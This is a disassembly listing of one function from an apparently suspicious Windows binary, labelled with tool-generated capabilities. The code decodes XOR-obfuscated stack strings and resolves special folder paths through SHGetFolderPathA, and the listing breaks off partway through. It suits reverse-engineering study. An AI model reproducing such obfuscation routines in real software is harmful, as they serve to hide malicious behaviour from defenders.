Function at 0x4489d0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x506ef2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x2f0
push esi
push edi
mov dword [ebp - 4], 0
lea esi, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
push 0x535230
cmovae esi, dword [ebx + 8]
mov dword [ebp - 0x198], 0
call fcn.004db303
add esp, 4
test eax, eax
jne 0x44a642
test esi, esi
je 0x448a5d
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x448a40
sub ecx, edx
je 0x448a5d
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x448a5d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x535230
call fcn.004db314
add esp, 4
cmp byte [0x535138], 2
jne 0x44a5fb
lea eax, [ebp - 0x194]
mov ecx, 0x535138
push eax
call fcn.004626d0
mov edx, ecx
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x184], edx
movzx eax, byte [edx]
mov ecx, eax
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], connect
sub ecx, 1
je 0x448b09
sub ecx, 1
je 0x448afb
mov dword [ebp - 0x178], connect
sub eax, 1
je 0x448b09
sub eax, 1
je 0x448afb
mov dword [ebp - 0x178], 1
jmp 0x448b14
mov eax, dword [edx + 8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x17c], eax
jmp 0x448b14
mov eax, dword [edx + 8]
mov eax, dword [eax]
mov dword [ebp - 0x180], eax
lea eax, [ebp - 0x184]
push eax
lea ecx, [ebp - 0x194]
call fcn.00461cb0
test al, al
je 0x44a5fb
mov edi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x194]
call fcn.00461dc0
movaps xmm0, xmmword [str.ewLqmurhmstrn]
mov esi, eax
movups xmmword [ebp - 0x2d], xmm0
mov byte [ebp - 0x1d], 1
xor ecx, ecx
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x2d], al
inc ecx
cmp ecx, 0xf
jb 0x448b52
lea eax, [ebp - 0x2d]
mov byte [ebp - 0x1d], 0
push eax
mov ecx, esi
call fcn.00469040
lea ecx, [ebp - 0x1d4]
push ecx
mov ecx, eax
call fcn.00469180
mov byte [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0x104], 0x777d657d
mov dword [ebp - 0x100], 0x7a7c724c
mov dword [ebp - 0xfc], 0x1006b72
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x104], al
inc ecx
cmp ecx, 0xa
jb 0x448ba1
lea eax, [ebp - 0x104]
mov byte [ebp - 0xf9], 0
push eax
mov ecx, esi
call fcn.00469040
lea ecx, [ebp - 0x1b0]
push ecx
mov ecx, eax
call fcn.00469180
mov byte [ebp - 4], 2
xor ecx, ecx
mov dword [ebp - 0x14f], 0x777d657d
mov dword [ebp - 0x14b], 0x7a7a724c
mov dword [ebp - 0x147], 0x6b7d73
mov byte [ebp - 0x143], 1
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x14f], al
inc ecx
cmp ecx, 0xb
jb 0x448c00
lea eax, [ebp - 0x14f]
mov byte [ebp - 0x143], 0
push eax
mov ecx, esi
call fcn.00469040
lea ecx, [ebp - 0x70]
push ecx
mov ecx, eax
call fcn.00469180
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0x15d], 0x777d657d
mov dword [ebp - 0x159], 0x6c7c674c
mov dword [ebp - 0x155], 0x78724772
mov word [ebp - 0x151], 0x100
nop
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x15d], al
inc ecx
cmp ecx, 0xc
jb 0x448c60
lea eax, [ebp - 0x15d]
mov byte [ebp - 0x150], 0
push eax
mov ecx, esi
call fcn.00469040
lea ecx, [ebp - 0x58]
push ecx
mov ecx, eax
call fcn.00469180
cmp dword [eax + 0x14], 0x10
jb 0x448c99
mov eax, dword [eax]
push eax
call fcn.004e98e7
mov ecx, dword [ebp - 0x44]
add esp, 4
mov dword [ebp - 0x164], eax
cmp ecx, 0x10
jb 0x448cdc
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x448cd2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push edx
call fcn.004dc002
add esp, 8
movaps xmm0, xmmword [0x5258c0]
xor ecx, ecx
movups xmmword [ebp - 0x32], xmm0
mov dword [ebp - 0x22], 0x5452526a
mov word [ebp - 0x1e], 0x100
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 0x14
jb 0x448cf6
lea eax, [ebp - 0x32]
mov byte [ebp - 0x1d], 0
push eax
mov ecx, esi
call fcn.00469040
cmp byte [eax], 4
jne 0x44a648
mov al, byte [eax + 8]
lea ecx, [ebp - 0x9b]
sub esp, 0x18
mov byte [ebp - 0x75], al
mov edx, esp
mov word [ebp - 0x9b], 0x3a
xorps xmm0, xmm0
mov byte [ebp - 0x99], 0
mov dword [ebp - 0x7c], esp
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x448d57
sub ecx, esi
lea eax, [ebp - 0x9b]
push ecx
push eax
mov ecx, edx
call fcn.00402810
sub esp, 0x18
mov byte [ebp - 4], 6
lea eax, [ebp - 0x1d4]
mov ecx, esp
push eax
call fcn.00465030
lea ecx, [ebp - 0x1bc]
mov byte [ebp - 4], 3
call fcn.0040be70
add esp, 0x30
mov byte [ebp - 4], 7
xor ecx, ecx
mov dword [ebp - 0x74], 0x1003023
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x74], al
inc ecx
cmp ecx, 2
jb 0x448da3
sub esp, 0x18
mov byte [ebp - 0x71], 0
mov edx, esp
mov dword [ebp - 0x7c], esp
xorps xmm0, xmm0
lea ecx, [ebp - 0x74]
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x448dd7
sub ecx, esi
lea eax, [ebp - 0x74]
push ecx
push eax
mov ecx, edx
call fcn.00402810
sub esp, 0x18
mov byte [ebp - 4], 8
lea eax, [ebp - 0x1b0]
mov ecx, esp
push eax
call fcn.00465030
lea ecx, [ebp - 0x174]
mov byte [ebp - 4], 7
call fcn.0040be70
add esp, 0x30
mov byte [ebp - 4], 9
xor ecx, ecx
mov dword [ebp - 0xbd], 0x4154542a
mov dword [ebp - 0xb9], 0x465a4058
mov word [ebp - 0xb5], 0x32
mov byte [ebp - 0xb3], 1
nop dword [eax]
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0xbd], al
inc ecx
cmp ecx, 9
jb 0x448e40
lea edx, [ebp - 0xbd]
mov byte [ebp - 0xb3], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x448e61
sub edx, ecx
lea eax, [ebp - 0xbd]
cmp dword [ebp - 0x5c], 0x10
lea ecx, [ebp - 0x70]
push edx
cmovae ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x60]
push eax
push 0
call fcn.0046a520
add esp, 0xc
test eax, eax
jne 0x4490e9
push 0x104
push eax
lea eax, [ebp - 0x2e0]
push eax
call fcn.004ddfe0
add esp, 0xc
lea eax, [ebp - 0x2e0]
push eax
push 0
push 0
push 0
push 0
call edi
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x448ed6
sub ecx, edx
lea eax, [ebp - 0x2e0]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402810
mov byte [ebp - 4], 0xa
xor ecx, ecx
mov dword [ebp - 0xc8], 0x4154542a
mov dword [ebp - 0xc4], 0x465a4058
mov word [ebp - 0xc0], 0x32
mov byte [ebp - 0xbe], 1
nop dword [eax]
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0xc8], al
inc ecx
cmp ecx, 9
jb 0x448f20
xorps xmm0, xmm0
mov byte [ebp - 0xbe], 0
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x448f56
sub ecx, edx
lea eax, [ebp - 0xc8]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00402810
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x34]
cmp dword [ebp - 0x20], 0x10
lea edi, [ebp - 0x70]
mov edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x24]
cmovae ecx, edx
mov eax, dword [ebp - 0x60]
setae byte [ebp - 0x11]
cmp dword [ebp - 0x5c], 0x10
mov dword [ebp - 0x18], edx
cmovae edi, dword [ebp - 0x70]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], edi
cmp esi, eax
ja 0x449075
sub eax, esi
test esi, esi
jne 0x448fb3
xor edi, edi
jmp 0x449059
movsx ecx, byte [ecx]
inc eax
add eax, edi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x38], eax
sub eax, edi
push eax
push ecx
push edi
call fcn.004df7d0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x449072
mov edx, dword [ebp - 0x3c]
mov ecx, edi
sub esi, 4
jb 0x448ff1
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x448ff6
add ecx, 4
add edx, 4
sub esi, 4
jae 0x448fe0
cmp esi, 0xfffffffc
je 0x44902a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x449023
cmp esi, 0xfffffffd
je 0x44902a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x449023
cmp esi, 0xfffffffe
je 0x44902a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x449023
cmp esi, 0xffffffff
je 0x44902a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x44902a
sbb eax, eax
or eax, 1
jmp 0x44902c
xor eax, eax
test eax, eax
je 0x44904e
mov eax, dword [ebp - 0x38]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x1c]
push edi
call fcn.004df7d0
mov esi, dword [ebp - 0x24]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x448fd6
jmp 0x449072
sub edi, dword [ebp - 0x40]
cmp edi, 0xffffffff
je 0x449072
mov esi, dword [ebp - 0x24]
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push dword [ebp - 0x48]
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x70]
push eax
push esi
push edi
call fcn.00467790
mov edx, dword [ebp - 0x18]
cmp byte [ebp - 0x11], 0
mov byte [ebp - 4], 0xa
je 0x4490ab
mov ecx, dword [ebp - 0x20]
mov eax, edx
inc ecx
cmp ecx, 0x1000
jb 0x4490a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push edx
call fcn.004dc002
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x4490e3
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4490d9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push edx
call fcn.004dc002
add esp, 8
mov edi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [ebp - 0xeb], 0x515e542a
xor ecx, ecx
mov dword [ebp - 0xe7], 0x58505946
mov dword [ebp - 0xe3], 0x3c4b43
mov byte [ebp - 0xdf], 1
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0xeb], al
inc ecx
cmp ecx, 0xb
jb 0x449110
lea edx, [ebp - 0xeb]
mov byte [ebp - 0xdf], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x449131
sub edx, ecx
lea eax, [ebp - 0xeb]
cmp dword [ebp - 0x5c], 0x10
lea ecx, [ebp - 0x70]
push edx
cmovae ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x60]
push eax
push 0
call fcn.0046a520
add esp, 0xc
test eax, eax
jne 0x4493b3
push 0x104
push eax
lea eax, [ebp - 0x2e0]
push eax
call fcn.004ddfe0
add esp, 0xc
lea eax, [ebp - 0x2e0]
push eax
push 0
push 0
push 5
push 0
call edi
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4491a6
sub ecx, edx
lea eax, [ebp - 0x2e0]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402810
mov byte [ebp - 4], 0xc
xor ecx, ecx
mov dword [ebp - 0xf8], 0x515e542a
mov dword [ebp - 0xf4], 0x58505946
mov dword [ebp - 0xf0], 0x3c4b43
mov byte [ebp - 0xec], 1
nop word [eax + eax]
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0xf8], al
inc ecx
cmp ecx, 0xb
jb 0x4491f0
xorps xmm0, xmm0
mov byte [ebp - 0xec], 0
lea ecx, [ebp - 0xf8]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449226
sub ecx, edx
lea eax, [ebp - 0xf8]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00402810
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x34]
cmp dword [ebp - 0x20], 0x10
lea edi, [ebp - 0x70]
mov edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x24]
cmovae ecx, edx
mov eax, dword [ebp - 0x60]
setae byte [ebp - 0x11]
cmp dword [ebp - 0x5c], 0x10
mov dword [ebp - 0x18], edx
cmovae edi, dword [ebp - 0x70]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x1c], edi
cmp esi, eax
ja 0x449345
sub eax, esi
test esi, esi
jne 0x449283
xor edi, edi
jmp 0x449329
movsx ecx, byte [ecx]
inc eax
add eax, edi
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
sub eax, edi
push eax
push ecx
push edi
call fcn.004df7d0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x449342
mov edx, dword [ebp - 0x40]
mov ecx, edi
sub esi, 4
jb 0x4492c1
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x4492c6
add ecx, 4
add edx, 4
sub esi, 4
jae 0x4492b0
cmp esi, 0xfffffffc
je 0x4492fa
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x4492f3
cmp esi, 0xfffffffd
je 0x4492fa
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x4492f3
cmp esi, 0xfffffffe
je 0x4492fa
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x4492f3
cmp esi, 0xffffffff
je 0x4492fa
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x4492fa
sbb eax, eax
or eax, 1
jmp 0x4492fc
xor eax, eax
test eax, eax
je 0x44931e
mov eax, dword [ebp - 0x3c]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x38]
push edi
call fcn.004df7d0
mov esi, dword [ebp - 0x24]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x4492a6
jmp 0x449342
sub edi, dword [ebp - 0x1c]
cmp edi, 0xffffffff
je 0x449342
mov esi, dword [ebp - 0x24]
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push dword [ebp - 0x48]
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x70]
push eax
push esi
push edi
call fcn.00467790
mov edx, dword [ebp - 0x18]
cmp byte [ebp - 0x11], 0
mov byte [ebp - 4], 0xc
je 0x44937b
mov ecx, dword [ebp - 0x20]
mov eax, edx
inc ecx
cmp ecx, 0x1000
jb 0x449371
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push edx
call fcn.004dc002
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x4493b3
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4493a9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push edx
call fcn.004dc002
add esp, 8
mov dword [ebp - 0x113], 0x5742452a
xor ecx, ecx
mov dword [ebp - 0x10f], 0x59474441
mov dword [ebp - 0x10b], 0x5f555151
mov word [ebp - 0x107], 0x3e
mov byte [ebp - 0x105], 1
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x113], al
inc ecx
cmp ecx, 0xd
jb 0x4493e3
lea edx, [ebp - 0x113]
mov byte [ebp - 0x105], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x449404
sub edx, ecx
lea eax, [ebp - 0x113]
cmp dword [ebp - 0x5c], 0x10
lea ecx, [ebp - 0x70]
push edx
cmovae ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x60]
push eax
push 0
call fcn.0046a520
add esp, 0xc
test eax, eax
jne 0x4495df
push 0x104
push eax
lea eax, [ebp - 0x2e0]
push eax
call fcn.004ddfe0
add esp, 0xc
lea eax, [ebp - 0x2e0]
push eax
push 0
push 0
push 0x28
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449480
sub ecx, edx
lea eax, [ebp - 0x2e0]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402810
mov byte [ebp - 4], 0xe
xor ecx, ecx
mov dword [ebp - 0x122], 0x5742452a
mov dword [ebp - 0x11e], 0x59474441
mov dword [ebp - 0x11a], 0x5f555151
mov word [ebp - 0x116], 0x3e
mov byte [ebp - 0x114], 1
nop dword [eax]
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x122], al
inc ecx
cmp ecx, 0xd
jb 0x4494d0
xorps xmm0, xmm0
mov byte [ebp - 0x114], 0
lea ecx, [ebp - 0x122]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449506
sub ecx, edx
lea eax, [ebp - 0x122]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00402810
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x34]
mov edi, dword [ebp - 0x20]
lea ecx, [ebp - 0x70]
push dword [ebp - 0x24]
mov esi, dword [ebp - 0x34]
cmp edi, 0x10
mov edx, dword [ebp - 0x60]
cmovae eax, esi
setae byte [ebp - 0x11]
cmp dword [ebp - 0x5c], 0x10
push eax
cmovae ecx, dword [ebp - 0x70]
push 0
call fcn.0046a520
add esp, 0xc
cmp eax, 0xffffffff
je 0x449572
cmp dword [ebp - 0x44], 0x10
lea ecx, [ebp - 0x58]
push dword [ebp - 0x48]
cmovae ecx, dword [ebp - 0x58]
push ecx
push dword [ebp - 0x24]
lea ecx, [ebp - 0x70]
push eax
call fcn.00467790
cmp byte [ebp - 0x11], 0
mov byte [ebp - 4], 0xe
je 0x4495a7
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x44959d
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push esi
call fcn.004dc002
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x4495df
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4495d5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push edx
call fcn.004dc002
add esp, 8
mov dword [ebp - 0xd3], 0x4241512a
xor ecx, ecx
mov dword [ebp - 0xcf], 0x57415557
mov word [ebp - 0xcb], 0x32
mov byte [ebp - 0xc9], 1
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0xd3], al
inc ecx
cmp ecx, 9
jb 0x449605
lea edx, [ebp - 0xd3]
mov byte [ebp - 0xc9], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x449626
sub edx, ecx
lea eax, [ebp - 0xd3]
cmp dword [ebp - 0x5c], 0x10
lea ecx, [ebp - 0x70]
push edx
cmovae ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x60]
push eax
push 0
call fcn.0046a520
add esp, 0xc
test eax, eax
jne 0x4498b3
push 0x104
push eax
lea eax, [ebp - 0x2e0]
push eax
call fcn.004ddfe0
add esp, 0xc
lea eax, [ebp - 0x2e0]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4496a0
sub ecx, edx
lea eax, [ebp - 0x2e0]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402810
mov byte [ebp - 4], 0x10
xor ecx, ecx
mov dword [ebp - 0xde], 0x4241512a
mov dword [ebp - 0xda], 0x57415557
mov word [ebp - 0xd6], 0x32
mov byte [ebp - 0xd4], 1
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0xde], al
inc ecx
cmp ecx, 9
jb 0x4496e3
xorps xmm0, xmm0
mov byte [ebp - 0xd4], 0
lea ecx, [ebp - 0xde]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449720
sub ecx, edx
lea eax, [ebp - 0xde]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00402810
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x34]
cmp dword [ebp - 0x20], 0x10
lea edi, [ebp - 0x70]
mov edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x24]
cmovae ecx, edx
mov eax, dword [ebp - 0x60]
setae byte [ebp - 0x11]
cmp dword [ebp - 0x5c], 0x10
mov dword [ebp - 0x18], edx
cmovae edi, dword [ebp - 0x70]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x1c], edi
cmp esi, eax
ja 0x449845
sub eax, esi
test esi, esi
jne 0x44977d
xor edi, edi
jmp 0x449829
movsx ecx, byte [ecx]
inc eax
add eax, edi
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
sub eax, edi
push eax
push ecx
push edi
call fcn.004df7d0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x449842
mov edx, dword [ebp - 0x40]
mov ecx, edi
sub esi, 4
jb 0x4497c1
nop word [eax + eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x4497c6
add ecx, 4
add edx, 4
sub esi, 4
jae 0x4497b0
cmp esi, 0xfffffffc
je 0x4497fa
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x4497f3
cmp esi, 0xfffffffd
je 0x4497fa
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x4497f3
cmp esi, 0xfffffffe
je 0x4497fa
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x4497f3
cmp esi, 0xffffffff
je 0x4497fa
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x4497fa
sbb eax, eax
or eax, 1
jmp 0x4497fc
xor eax, eax
test eax, eax
je 0x44981e
mov eax, dword [ebp - 0x3c]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x38]
push edi
call fcn.004df7d0
mov esi, dword [ebp - 0x24]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x4497a0
jmp 0x449842
sub edi, dword [ebp - 0x1c]
cmp edi, 0xffffffff
je 0x449842
mov esi, dword [ebp - 0x24]
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push dword [ebp - 0x48]
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x70]
push eax
push esi
push edi
call fcn.00467790
mov edx, dword [ebp - 0x18]
cmp byte [ebp - 0x11], 0
mov byte [ebp - 4], 0x10
je 0x44987b
mov ecx, dword [ebp - 0x20]
mov eax, edx
inc ecx
cmp ecx, 0x1000
jb 0x449871
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push edx
call fcn.004dc002
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x4498b3
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4498a9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push edx
call fcn.004dc002
add esp, 8
mov dword [ebp - 0x142], 0x515e5c2a
xor ecx, ecx
mov dword [ebp - 0x13e], 0x46545852
mov dword [ebp - 0x13a], 0x4e585c47
mov dword [ebp - 0x136], 0x100395a
nop dword [eax]
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x142], al
inc ecx
cmp ecx, 0xe
jb 0x4498e0
lea edx, [ebp - 0x142]
mov byte [ebp - 0x133], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x449901
sub edx, ecx
lea eax, [ebp - 0x142]
cmp dword [ebp - 0x5c], 0x10
lea ecx, [ebp - 0x70]
push edx
cmovae ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x60]
push eax
push 0
call fcn.0046a520
add esp, 0xc
test eax, eax
jne 0x449b93
push 0x104
push eax
lea eax, [ebp - 0x2e0]
push eax
call fcn.004ddfe0
add esp, 0xc
lea eax, [ebp - 0x2e0]
push eax
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449980
sub ecx, edx
lea eax, [ebp - 0x2e0]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402810
mov byte [ebp - 4], 0x12
xor ecx, ecx
mov dword [ebp - 0x132], 0x515e5c2a
mov dword [ebp - 0x12e], 0x46545852
mov dword [ebp - 0x12a], 0x4e585c47
mov dword [ebp - 0x126], 0x100395a
nop word [eax + eax]
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x132], al
inc ecx
cmp ecx, 0xe
jb 0x4499d0
xorps xmm0, xmm0
mov byte [ebp - 0x123], 0
lea ecx, [ebp - 0x132]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449a06
sub ecx, edx
lea eax, [ebp - 0x132]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00402810
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x34]
cmp dword [ebp - 0x20], 0x10
lea edi, [ebp - 0x70]
mov edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x24]
cmovae ecx, edx
mov eax, dword [ebp - 0x60]
setae byte [ebp - 0x11]
cmp dword [ebp - 0x5c], 0x10
mov dword [ebp - 0x18], edx
cmovae edi, dword [ebp - 0x70]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x1c], edi
cmp esi, eax
ja 0x449b25
sub eax, esi
test esi, esi
jne 0x449a63
xor edi, edi
jmp 0x449b09
movsx ecx, byte [ecx]
inc eax
add eax, edi
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
sub eax, edi
push eax
push ecx
push edi
call fcn.004df7d0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x449b22
mov edx, dword [ebp - 0x40]
mov ecx, edi
sub esi, 4
jb 0x449aa1
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x449aa6
add ecx, 4
add edx, 4
sub esi, 4
jae 0x449a90
